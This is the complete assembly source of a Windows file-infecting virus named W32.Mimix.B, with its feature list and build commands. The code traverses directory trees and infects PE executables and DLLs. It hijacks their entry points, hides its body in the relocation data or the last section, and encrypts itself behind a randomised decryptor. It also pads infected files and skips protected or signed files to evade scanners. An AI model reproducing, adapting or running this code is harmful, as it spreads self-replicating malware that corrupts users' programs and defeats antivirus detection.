Win32.Mimix.b
roy g biv / defjam
comment ;) W32.Mimix.B by roy g biv some of its features: - parasitic direct-action infector of PE exe/dll (but not looking at suffix) - infects files in current directory and all subdirectories - directory traversal is linked-list instead of recursive to reduce stack size - reloc section inserter/last section appender - auto function type selection (Unicode under NT/2000/XP, ANSI under 9x/Me) - uses CRCs instead of API names - uses SEH for common code exit - section attributes are never altered (virus is not self-modifying) - no infect files with data outside of image (eg self-extractors) - no infect files protected by SFC/SFP (including under Windows XP) - infected files are padded by random amounts to confuse tail scanners - uses SEH walker to find kernel address (no hard-coded addresses) - correct file checksum without using imagehlp.dll :) 100% correct algorithm --- optimisation tip: Windows appends ".dll" automatically, so this works: push "cfs" push esp call LoadLibraryA --- to build this thing: tasm ---- tasm32 /ml /m3 mimix tlink32 /B:400000 /x mimix,,,import32 Virus is not self-modifying, so no need to alter section attributes --- We're in the middle of a phase transition: a butterfly flapping its wings at just the right moment could cause a storm to happen. -I'm trying to understand- I'm at a moment in my life- I don't know where to flap my wings. (Danny Hillis) (; .686 ;cmov .model flat extern MessageBoxA:proc extern ExitProcess:proc .data include mimix.inc dropper label near mov edx, krncrc_count mov ebx, offset krnnames mov edi, offset krncrcbegin call create_crcs mov edx, 1 mov ebx, offset sfcnames mov edi, offset sfccrcbegin call create_crcs ;----------------------------------------------------------------------------- ;everything before this point is dropper code ;----------------------------------------------------------------------------- ;----------------------------------------------------------------------------- ;main virus body. everything happens in here ;----------------------------------------------------------------------------- mimix_inf proc near push offset do_message ;replaced by host entrypoint xor esi, esi lods dword ptr fs:[esi] push eax mov dword ptr fs:[esi - 4], esp inc eax walk_seh label near dec eax xchg esi, eax lods dword ptr [esi] inc eax jne walk_seh enter ((size findlist - 5) and -4) + ((statelen + 1) shl 2), 0 ;Windows NT/2000/XP enables alignment check exception ;so some APIs fail if buffer is not dword aligned ;-5 to align at 2 dwords earlier ;because EBP saved automatically ;and other register saved next ;statelen for RNG cache push eax ;zero findprev in findlist lods dword ptr [esi] call init_findmz ;----------------------------------------------------------------------------- ;API CRC table, null terminated ;----------------------------------------------------------------------------- krncrcbegin label near dd (krncrc_count + 1) dup (0) ;----------------------------------------------------------------------------- ;get SFC support if available ;----------------------------------------------------------------------------- call load_sfc db "sfc_os", 0 ;Windows XP (forwarder chain from sfc.dll) db "MiMiX - roy g biv" ;like nothing you've ever seen before load_sfc label near call dword ptr [esp + krncrcstk.kLoadLibraryA] test eax, eax jne found_sfc push 'cfs' ;Windows 2000 push esp call dword ptr [esp + 4 + krncrcstk.kLoadLibraryA] pop ecx test eax, eax je sfcapi_push found_sfc label near inc eax xchg edi, eax call find_mzhdr ;----------------------------------------------------------------------------- ;API CRC table, null terminated ;----------------------------------------------------------------------------- sfccrcbegin label near dd 0, 0 pop eax sfcapi_push label near push eax ;----------------------------------------------------------------------------- ;swap CreateFileW and CreateFileMappingA because of alphabet order ;----------------------------------------------------------------------------- mov ebx, esp lea esi, dword ptr [ebx + krncrcstk.kCreateFileMappingA] mov edi, esi lods dword ptr [esi] movs dword ptr [edi], dword ptr [esi] stos dword ptr [edi] ;----------------------------------------------------------------------------- ;determine platform and dynamically select function types (ANSI or Unicode) ;so for Windows NT/2000/XP this code handles files that no ANSI function can open ;----------------------------------------------------------------------------- call dword ptr [ebx + krncrcstk.kGetVersion] shr eax, 1fh ;treat 9x and Win32s as ANSI ;safer than using AreFileApisANSI() lea ebp, dword ptr [eax * 4 + ebx] lea esi, dword ptr [ebx + size krncrcstk] call dword ptr [ebx + krncrcstk.kGetTickCount] lea edi, dword ptr [esi + ((size findlist + 3) and -4)] call randinit ;----------------------------------------------------------------------------- ;non-recursive directory traverser ;----------------------------------------------------------------------------- scan_dir proc near ;ebp -> platform APIs, esi -> findlist push '*' ;ANSI-compatible Unicode findmask mov eax, esp lea ebx, dword ptr [esi + findlist.finddata] push ebx push eax call dword ptr [ebp + krncrcstk.kFindFirstFileW] pop ecx mov dword ptr [esi + findlist.findhand], eax inc eax je find_prev ;you must always step forward from where you stand test_dirfile label near mov eax, dword ptr [ebx + WIN32_FIND_DATA.dwFileAttributes] lea edi, dword ptr [esi + findlist.finddata.cFileName] test al, FILE_ATTRIBUTE_DIRECTORY je test_file cmp byte ptr [edi], '.' ;ignore . and .. (but also .* directories under NT/2000/XP) je find_next ;----------------------------------------------------------------------------- ;enter subdirectory, and allocate another list node ;----------------------------------------------------------------------------- push edi call dword ptr [ebp + krncrcstk.kSetCurrentDirectoryW] xchg ecx, eax jecxz find_next push size findlist push GMEM_FIXED call dword ptr [esp + krncrcstk.kGlobalAlloc + 8] xchg ecx, eax jecxz step_updir xchg esi, ecx mov dword ptr [esi + findlist.findprev], ecx jmp scan_dir find_next label near lea ebx, dword ptr [esi + findlist.finddata] push ebx mov edi, dword ptr [esi + findlist.findhand] push edi call dword ptr [ebp + krncrcstk.kFindNextFileW] test eax, eax jne test_dirfile ;----------------------------------------------------------------------------- ;close find, and free list node if not list head ;----------------------------------------------------------------------------- mov ebx, esp push edi call dword ptr [ebx + krncrcstk.kFindClose] find_prev label near mov ecx, dword ptr [esi + findlist.findprev] jecxz mimix_exit push esi mov esi, ecx call dword ptr [ebx + krncrcstk.kGlobalFree] step_updir label near ;----------------------------------------------------------------------------- ;the ANSI string ".." can be used, even on Unicode platforms ;----------------------------------------------------------------------------- push '..' org $ - 1 ;select top 8 bits of push mimix_exit label near int 3 ;game over push esp call dword ptr [ebx + krncrcstk.kSetCurrentDirectoryA] pop eax jmp find_next test_file label near ;----------------------------------------------------------------------------- ;get full path and convert to Unicode if required (SFC requires Unicode path) ;----------------------------------------------------------------------------- push eax ;save original file attributes for close mov eax, ebp enter MAX_PATH * 2, 0 mov ecx, esp push eax push esp push ecx push MAX_PATH push edi call dword ptr [eax + krncrcstk.kGetFullPathNameW] xchg edi, eax pop eax xor ebx, ebx call dword ptr [ebp + 8 + krncrcstk.kGetVersion] test eax, eax jns call_sfcapi mov ecx, esp xchg ebp, eax enter MAX_PATH * 2, 0 xchg ebp, eax mov eax, esp push MAX_PATH push eax inc edi push edi push ecx push ebx ;use default translation push ebx ;CP_ANSI call dword ptr [ebp + 8 + krncrcstk.kMultiByteToWideChar] call_sfcapi label near ;----------------------------------------------------------------------------- ;don't touch protected files ;----------------------------------------------------------------------------- mov ecx, dword ptr [ebp + 8 + krncrcstk.kSfcIsFileProtected] xor eax, eax ;fake success in case of no SFC jecxz leave_sfc push esp push ebx call ecx leave_sfc label near leave test eax, eax jne restore_attr call set_fileattr push ebx push ebx push OPEN_EXISTING push ebx push ebx push GENERIC_READ or GENERIC_WRITE push edi call dword ptr [ebp + krncrcstk.kCreateFileW] xchg ebx, eax call test_infect db 81h ;mask CALL call infect_file ;Super Nashwan power ;) lea eax, dword ptr [esi + findlist.finddata.ftLastWriteTime] push eax sub eax, 8 push eax push 0 push ebx call dword ptr [esp + 4 + krncrcstk.kSetFileTime + 10h] push ebx call dword ptr [esp + 4 + krncrcstk.kCloseHandle + 4] restore_attr label near pop ebx ;restore original file attributes call set_fileattr jmp find_next scan_dir endp init_findmz label near inc eax xchg edi, eax find_mzhdr label near ;----------------------------------------------------------------------------- ;do not use hard-coded kernel address values because it is not portable ;Microsoft used all different values for 95, 98, NT, 2000, Me, XP ;they will maybe change again for every new release ;----------------------------------------------------------------------------- dec edi ;sub 64kb xor di, di ;64kb align call is_pehdr jne find_mzhdr mov ebx, edi pop edi ;----------------------------------------------------------------------------- ;parse export table ;----------------------------------------------------------------------------- mov esi, dword ptr [esi + pehdr.peexport.dirrva - pehdr.pecoff] lea esi, dword ptr [ebx + esi + peexp.expadrrva] lods dword ptr [esi] ;Export Address Table RVA lea edx, dword ptr [ebx + eax] lods dword ptr [esi] ;Name Pointer Table RVA lea ecx, dword ptr [ebx + eax] lods dword ptr [esi] ;Ordinal Table RVA lea ebp, dword ptr [ebx + eax] mov esi, ecx push_export label near push ecx get_export label near lods dword ptr [esi] push ebx add ebx, eax ;Name Pointer VA or eax, -1 crc_outer label near xor al, byte ptr [ebx] push 8 pop ecx crc_inner label near add eax, eax jnb crc_skip xor eax, 4c11db7h ;use generator polymonial (see IEEE 802) crc_skip label near loop crc_inner sub cl, byte ptr [ebx] ;carry set if not zero inc ebx ;carry not altered by inc jb crc_outer pop ebx cmp dword ptr [edi], eax jne get_export ;----------------------------------------------------------------------------- ;exports must be sorted alphabetically, otherwise GetProcAddress() would fail ;this allows to push addresses onto the stack, and the order is known ;----------------------------------------------------------------------------- pop ecx mov eax, esi sub eax, ecx ;Name Pointer Table VA shr eax, 1 movzx eax, word ptr [ebp + eax - 2] ;get export ordinal mov eax, dword ptr [eax * 4 + edx] ;get export RVA add eax, ebx push eax scas dword ptr [edi] cmp dword ptr [edi], 0 jne push_export scas dword ptr [edi] jmp edi ;----------------------------------------------------------------------------- ;look for MZ and PE file signatures ;----------------------------------------------------------------------------- is_pehdr proc near ;edi -> map view cmp word ptr [edi], 'ZM' ;Windows does not check 'MZ' jne pehdr_ret mov esi, dword ptr [edi + mzhdr.mzlfanew] add esi, edi lods dword ptr [esi] ;SEH protects against bad lfanew value add eax, -'EP' ;anti-heuristic test filetype ;) and clear EAX pehdr_ret label near ret ;if PE file, then eax = 0, esi -> COFF header, Z flag set is_pehdr endp ;----------------------------------------------------------------------------- ;reset/set read-only file attribute ;----------------------------------------------------------------------------- set_fileattr proc near ;ebx = file attributes, esi -> findlist, ebp -> platform APIs push ebx lea edi, dword ptr [esi + findlist.finddata.cFileName] push edi call dword ptr [ebp + krncrcstk.kSetFileAttributesW] ret ;edi -> filename db "01/03/08" ;welcome to the future set_fileattr endp ;----------------------------------------------------------------------------- ;test if file is infectable (not protected, PE, x86, non-system, not infected, etc) ;----------------------------------------------------------------------------- test_infect proc near ;esi = find data, edi = map view, ebp -> platform APIs call map_view mov ebp, esi call is_pehdr jne inftest_ret lods dword ptr [esi] cmp ax, IMAGE_FILE_MACHINE_I386 jne inftest_ret ;only Intel 386+ shr eax, 0dh ;move high 16 bits into low 16 bits and multiply by 8 lea edx, dword ptr [eax * 4 + eax] ;complete multiply by 28h (size pesect) mov ecx, dword ptr [esi + pehdr.pecoff.peflags - pehdr.pecoff.petimedate] ;----------------------------------------------------------------------------- ;IMAGE_FILE_BYTES_REVERSED_* bits are rarely set correctly, so do not test them ;----------------------------------------------------------------------------- test ch, (IMAGE_FILE_SYSTEM or IMAGE_FILE_UP_SYSTEM_ONLY) shr 8 jne inftest_ret add esi, pehdr.peentrypoint - pehdr.pecoff.petimedate ;----------------------------------------------------------------------------- ;if file is a .dll, then we require an entry point function ;----------------------------------------------------------------------------- lods dword ptr [esi] xchg ecx, eax test ah, IMAGE_FILE_DLL shr 8 je test_system jecxz inftest_ret ;----------------------------------------------------------------------------- ;32-bit executable file... ;----------------------------------------------------------------------------- test_system label near and ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE cmp ax, IMAGE_FILE_EXECUTABLE_IMAGE or IMAGE_FILE_32BIT_MACHINE jne inftest_ret ;cannot use xor+jpo because 0 is also jpe ;----------------------------------------------------------------------------- ;the COFF magic value is not checked because Windows ignores it anyway ;IMAGE_FILE_MACHINE_IA64 machine type is the only reliable way to detect PE32+ ;----------------------------------------------------------------------------- mov eax, dword ptr [esi + pehdr.pesubsys - pehdr.pecodebase] cmp ax, IMAGE_SUBSYSTEM_WINDOWS_CUI jnbe inftest_ret cmp al, IMAGE_SUBSYSTEM_WINDOWS_GUI ;al not ax, because ah is known now to be 0 jb inftest_ret shr eax, 1eh ;test eax, IMAGE_DLLCHARACTERISTICS_WDM_DRIVER shl 10h jb inftest_ret ;----------------------------------------------------------------------------- ;avoid files which seem to contain attribute certificates ;because one of those certificates might be a digital signature ;----------------------------------------------------------------------------- cmp dword ptr [esi + pehdr.pesecurity.dirrva - pehdr.pecodebase], eax jnbe inftest_ret ;----------------------------------------------------------------------------- ;cannot use the NumberOfRvaAndSizes field to calculate the Optional Header size ;the Optional Header can be larger than the offset of the last directory ;remember: even if you have not seen it does not mean that it does not happen :) ;----------------------------------------------------------------------------- movzx eax, word ptr [esi + pehdr.pecoff.peopthdrsize - pehdr.pecodebase] add eax, edx mov ebx, dword ptr [esi + pehdr.pefilealign - pehdr.pecodebase] lea esi, dword ptr [esi + eax - pehdr.pecodebase + pehdr.pemagic - size pesect + pesect.sectrawsize] lods dword ptr [esi] add eax, dword ptr [esi] cmp dword ptr [ebp + findlist.finddata.dwFileSizeLow], eax jne inftest_ret ;file contains appended data add dword ptr [ebp + findlist.finddata.dwFileSizeLow], ebx inc dword ptr [esp + mapsehstk.mapsehinfret] ;skip call mask inftest_ret label near int 3 ;----------------------------------------------------------------------------- ;increase file size by random value (between RANDPADMIN and RANDPADMAX bytes) ;I use GetTickCount() instead of RDTSC because RDTSC can be made privileged ;----------------------------------------------------------------------------- open_append proc near call dword ptr [esp + size mapstack - 4 + krncrcstk.kGetTickCount] and eax, RANDPADMAX - 1 add ax, small ((((offset mimix_codeend - offset mimix_inf) + 74h) and -4) + RANDPADMIN) ;----------------------------------------------------------------------------- ;create file map, and map view if successful ;----------------------------------------------------------------------------- map_view proc near ;eax = extra bytes to map, ebx = file handle, esi -> findlist, ebp -> platform APIs cdq add eax, dword ptr [esi + findlist.finddata.dwFileSizeLow] push eax mov ecx, esp push eax ;MapViewOfFile push edx ;MapViewOfFile push edx ;MapViewOfFile push FILE_MAP_WRITE ;Windows 9x/Me does not support FILE_MAP_ALL_ACCESS push edx push eax push edx push PAGE_READWRITE push edx push ebx call dword ptr [ecx + size mapstack + krncrcstk.kCreateFileMappingA] ;ANSI map is allowed because of no name push eax xchg edi, eax call dword ptr [esp + size mapstack + krncrcstk.kMapViewOfFile + 14h] pop ecx xchg edi, eax ;should succeed even if file cannot be opened pushad call unmap_seh pop eax pop eax pop esp xor eax, eax pop dword ptr fs:[eax] pop eax popad ;SEH destroys all registers push eax push edi call dword ptr [esp + size mapstack + krncrcstk.kUnmapViewOfFile + 4] call dword ptr [esp + size mapstack + krncrcstk.kCloseHandle] pop eax ret unmap_seh proc near cdq push dword ptr fs:[edx] mov dword ptr fs:[edx], esp jmp dword ptr [esp + mapsehstk.mapsehsehret] unmap_seh endp map_view endp ;eax = map handle, ecx = new file size, edi = map view open_append endp ;----------------------------------------------------------------------------- ;infect file ;algorithm: increase file size by random amount (RANDPADMIN-RANDPADMAX ; bytes) to confuse scanners that look at end of file (also ; infection marker) ; if reloc table is not in last section (taken from relocation ; field in PE header, not section name), then append to last ; section. otherwise, move relocs down and insert code into ; space (to confuse people looking at end of file. they will ; see only relocation data and garbage or many zeroes) ; entry point is altered to point to our code. very simple ;----------------------------------------------------------------------------- infect_file label near ;esi -> findlist, edi = map view call open_append delta_label label near push ecx push edi mov ebx, dword ptr [edi + mzhdr.mzlfanew] lea ebx, dword ptr [ebx + edi + pehdr.pechksum] xor ecx, ecx imul cx, word ptr [ebx + pehdr.pecoff.pesectcount - pehdr.pechksum], size pesect add cx, word ptr [ebx + pehdr.pecoff.peopthdrsize - pehdr.pechksum] lea esi, dword ptr [ebx + ecx + pehdr.pemagic - pehdr.pechksum - size pesect + pesect.sectrawsize] lods dword ptr [esi] mov cx, ((offset mimix_codeend - offset mimix_inf) + 7ch) and -4 mov edx, dword ptr [ebx + pehdr.pefilealign - pehdr.pechksum] push eax add eax, ecx dec edx add eax, edx not edx and eax, edx ;file align last section mov dword ptr [esi + pesect.sectrawsize - pesect.sectrawaddr], eax ;----------------------------------------------------------------------------- ;raw size is file aligned. virtual size is not required to be section aligned ;so if old virtual size is larger than new raw size, then size of image does ;not need to be updated, else virtual size must be large enough to cover the ;new code, and size of image is section aligned ;----------------------------------------------------------------------------- mov ebp, dword ptr [esi + pesect.sectvirtaddr - pesect.sectrawaddr] cmp dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax jnb test_reloff mov dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr], eax add eax, ebp mov edx, dword ptr [ebx + pehdr.pesectalign - pehdr.pechksum] dec edx add eax, edx not edx and eax, edx mov dword ptr [ebx + pehdr.peimagesize - pehdr.pechksum], eax ;----------------------------------------------------------------------------- ;if relocation table is not in last section, then append to last section ;otherwise, move relocations down and insert code into space ;----------------------------------------------------------------------------- test_reloff label near test byte ptr [ebx + pehdr.pecoff.peflags - pehdr.pechksum], IMAGE_FILE_RELOCS_STRIPPED jne copy_code cmp dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ebp jb copy_code mov eax, dword ptr [esi + pesect.sectvirtsize - pesect.sectrawaddr] add eax, ebp cmp dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], eax jnb copy_code add dword ptr [ebx + pehdr.pereloc.dirrva - pehdr.pechksum], ecx pop eax push esi add edi, dword ptr [esi] lea esi, dword ptr [edi + eax - 1] lea edi, dword ptr [esi + ecx] xchg ecx, eax std rep movs byte ptr [edi], byte ptr [esi] cld pop esi pop edi push edi push ecx xchg ecx, eax copy_code label near pop edx add ebp, edx add edx, dword ptr [esi] add edi, edx ;----------------------------------------------------------------------------- ;section attributes are always altered to executable because for Windows XP SP2 ;you can remove that bit, if you want, but we need the writable bit for RNG ;----------------------------------------------------------------------------- or byte ptr [esi + pesect.sectflags - pesect.sectrawaddr + 3], (IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_WRITE) shr 18h ;----------------------------------------------------------------------------- ;alter entry point ;----------------------------------------------------------------------------- add ebp, 24h xchg dword ptr [ebx + pehdr.peentrypoint - pehdr.pechksum], ebp add ebp, dword ptr [ebx + pehdr.peimagebase - pehdr.pechksum] mov esi, offset encrypted - offset delta_label add esi, dword ptr [esp + infectstk.infseh.mapsehinfret] ;delta offset mov dword ptr [esi + (offset mimix_inf - offset encrypted) + 1], ebp push ebx rand_reg label near call random and al, 7 cmp al, 4 je rand_reg xor ebx, ebx mov bh, al add al, 58h stos byte ptr [edi] mov ecx, dword ptr [esi + 9] push ecx shr cl, 3 and cl, 7 mov bl, cl mov ah, 1 shl ah, cl add ah, 10h ;disallow esp and in-use reg xor edx, edx ;----------------------------------------------------------------------------- ;map used register and also find the unused register ;----------------------------------------------------------------------------- mov al, byte ptr [esi] and al, 0fh bts eax, eax and al, 7 cmp al, bh cmove edx, esi ;----------------------------------------------------------------------------- ;replace any conflicting move with spare register ;----------------------------------------------------------------------------- mov al, 3ch mov cl, 0b7h find_free label near add al, 8 inc ecx shr ah, 1 jb find_free test edx, edx je skip_mov1 mov byte ptr [edx], cl skip_mov1 label near cmp bl, bh jne skip_mov2 mov byte ptr [esi + 9], al mov byte ptr [esi + 33h], al skip_mov2 label near pop edx mov bl, dh and bl, 7 cmp bl, bh jne skip_mov3 push ecx add cl, 48h mov bl, cl sub cl, 18h mov byte ptr [esi + 39h], cl pop ecx skip_mov3 label near imul edx, ebx, 8 mov al, dh add al, bl mov byte ptr [esi + 0ah], al mov byte ptr [esi + 34h], al mov bl, cl and bl, 7 imul edx, ebx, 8 push 6 pop ecx push esi ;----------------------------------------------------------------------------- ;replace all conflicting arithmetic operations with spare register ;----------------------------------------------------------------------------- swap_reg label near mov al, byte ptr [esi + 0dh] mov ah, al and ax, 3807h cmp ah, dh jne skip_mov4 mov ah, dl skip_mov4 label near cmp al, bh jne skip_mov5 mov al, bl skip_mov5 label near add al, ah add al, 0c0h mov byte ptr [esi + 0dh], al lods dword ptr [esi] cmp cl, 6 je skip_incesi lods dword ptr [esi] skip_incesi label near loop swap_reg pop esi xor bl, bl lea ebp, dword ptr [edi + 20h] xchg edi, ebp lea eax, dword ptr [ebx + 0e8df70ddh] stos dword ptr [edi] mov eax, -29h stos dword ptr [edi] mov cl, 4 assign_vars label near call random mov dword ptr [ecx * 8 + esi + 0ah], eax neg ecx mov dword ptr [ecx * 8 + esi + (offset encryptor - offset encrypted) + 2dh], eax neg ecx loop assign_vars bswap ebx dec ecx xchg edi, ebp ;----------------------------------------------------------------------------- ;randomly order movq lines ;----------------------------------------------------------------------------- reorder label near call random and eax, 7 btr ecx, eax jnb reorder shl al, 3 mov edx, eax rand_slot label near call random and eax, 7 add al, 8 btr ecx, eax jnb rand_slot sub al, 8 shl al, 3 push eax mov ah, dl bswap eax lea eax, dword ptr [ebx + eax + 406f0fh] stos dword ptr [edi] pop eax add edx, esi add eax, ebp xchg esi, edx xchg edi, eax movs dword ptr [edi], dword ptr [esi] movs dword ptr [edi], dword ptr [esi] xchg esi, edx xchg edi, eax test cl, cl jne reorder mov ecx, offset mimix_codeend - offset mimix_inf sub esi, offset encrypted - offset mimix_inf add edi, 58h push edi rep movs byte ptr [edi], byte ptr [esi] pop eax call encryptor pop ebx pop edi ;----------------------------------------------------------------------------- ;CheckSumMappedFile() - simply sum of all words in file, then adc filesize ;----------------------------------------------------------------------------- xor ecx, ecx xchg dword ptr [ebx], ecx jecxz infect_ret cdq pop ecx push ecx inc ecx shr ecx, 1 clc calc_checksum label near adc dx, word ptr [edi] inc edi inc edi loop calc_checksum pop dword ptr [ebx] adc dword ptr [ebx], edx ;avoid common bug. ADC not ADD infect_ret label near int 3 ;common exit using SEH db "*4U2NV*" ;that is, unless you're reading this test_infect endp ;----------------------------------------------------------------------------- ;Mersenne Twister RNG MT19937 (c) 1997 Makoto Matsumoto and Takuji Nishimura ;period is ((2^19937)-1) with 623-dimensionally equidistributed sequence ;asm port and size optimise by rgb in 2002 ;----------------------------------------------------------------------------- randinit proc near ;eax = seed, ecx = 0, edi -> RNG cache pushad push edi or eax, 1 mov ecx, statelen init_loop label near stos dword ptr [edi] mov edx, 69069 mul edx ;Knuth label near x_new = x_old * 69069 loop init_loop inc ecx ;force reload call initdelta initdelta label near pop edi add edi, offset randvars - offset initdelta xchg ecx, eax stos dword ptr [edi] pop eax stos dword ptr [edi] stos dword ptr [edi] popad ret randinit endp random proc near pushad call randelta randvars label near db 'rgb!' ;numbers left db 'rgb!' ;next pointer db 'rgb!' ;state pointer randelta label near pop esi push esi lods dword ptr [esi] xchg ecx, eax lods dword ptr [esi] xchg esi, eax loop random_ret mov cx, statelen - period mov esi, dword ptr [eax] lea ebx, dword ptr [esi + (period * 4)] mov edi, esi push esi lods dword ptr [esi] xchg edx, eax call twist pop ebx mov cx, period - 1 push ecx push ebx call twist pop esi push esi inc ecx call twist xchg edx, eax pop esi pop ecx inc ecx random_ret label near lods dword ptr [esi] mov edx, eax shr eax, tshiftU xor eax, edx mov edx, eax shl eax, tshiftS and eax, tmaskB xor eax, edx mov edx, eax shl eax, tshiftT and eax, tmaskC xor eax, edx mov edx, eax shr eax, tshiftL xor eax, edx pop edi mov dword ptr [esp + 1ch], eax ;eax in pushad xchg ecx, eax stos dword ptr [edi] xchg esi, eax stos dword ptr [edi] popad ret random endp twist proc near lods dword ptr [esi] push eax add eax, eax ;remove highest bit add edx, edx ;test highest bit rcr eax, 2 ;merge bits and test lowest bit jnb twist_skip ;remove branch but larger using xor eax, matrixA ;sbb edx, edx+and edx, matrixA+xor eax, edx twist_skip label near xor eax, dword ptr [ebx] add ebx, 4 stos dword ptr [edi] pop edx loop twist ret twist endp encrypted label near mov ecx, (offset mimix_codeend - offset mimix_inf + 4) and -4 nop jmp short $ + 4 decrypt label near mov ebx, dword ptr [ecx + eax + 4ch] xor ebx, ecx jmp short $ + 4 add ebx, '!bgr' jmp short $ + 4 xor ebx, '!bgr' jmp short $ + 4 sub ebx, '!bgr' jmp short $ + 4 xor ebx, '!bgr' jmp short $ + 4 add ebx, ecx mov dword ptr [ecx + eax + 4ch], ebx jmp short $ + 4 sub ecx, 4 jne decrypt - 0ch nop if (3eh - (offset $ - offset encrypted)) and 80000000h err "code is too large" endif jmp short $ + 9 ;to skip tail encryptor proc near mov ecx, (offset mimix_codeend - offset mimix_inf + 4) and -4 encrypt label near mov ebx, dword ptr [ecx + eax - 4] sub ebx, ecx xor ebx, '!bgr' jmp short $ + 2 add ebx, '!bgr' jmp short $ + 2 xor ebx, '!bgr' jmp short $ + 2 sub ebx, '!bgr' jmp short $ + 2 xor ebx, ecx mov dword ptr [ecx + eax - 4], ebx sub ecx, 4 jne encrypt ret encryptor endp ;When last comes to last, ; I have little power: ; I am merely an urn. ;I hold the bone-sap of myself, ; And watch the marrow burn. ; ;When last comes to last, ; I have little strength: ; I am only a tool. ;I work its work; and in its hands ; I am the fool. ; ;When last comes to last, ; I have little life. ; I am simply a deed: ;an action done while courage holds: ; A seed. ;(Stephen Donaldson) mimix_codeend label near mimix_inf endp create_crcs proc near or eax, -1 create_outer label near xor al, byte ptr [ebx] push 8 pop ecx create_inner label near add eax, eax jnb create_skip xor eax, 4c11db7h ;use generator polymonial (see IEEE 802) create_skip label near loop create_inner sub cl, byte ptr [ebx] ;carry set if not zero inc ebx ;carry not altered by inc jb create_outer stos dword ptr [edi] dec edx jne create_crcs ret create_crcs endp do_message label near xor ebx, ebx push ebx push offset txttitle push offset txtbody push ebx call MessageBoxA push ebx call ExitProcess ;must be alphabetical order ;API names are not present in replications, only in dropper krnnames db "CloseHandle" , 0 db "CreateFileA" , 0 db "CreateFileMappingA" , 0 db "CreateFileW" , 0 db "FindClose" , 0 db "FindFirstFileA" , 0 db "FindFirstFileW" , 0 db "FindNextFileA" , 0 db "FindNextFileW" , 0 db "GetFullPathNameA" , 0 db "GetFullPathNameW" , 0 db "GetTickCount" , 0 db "GetVersion" , 0 db "GlobalAlloc" , 0 db "GlobalFree" , 0 db "LoadLibraryA" , 0 db "MapViewOfFile" , 0 db "MultiByteToWideChar" , 0 db "SetCurrentDirectoryA", 0 db "SetCurrentDirectoryW", 0 db "SetFileAttributesA" , 0 db "SetFileAttributesW" , 0 db "SetFileTime" , 0 db "UnmapViewOfFile" , 0 sfcnames db "SfcIsFileProtected", 0 txttitle db "MiMiX", 0 txtbody db "running...", 0 .code nop end dropper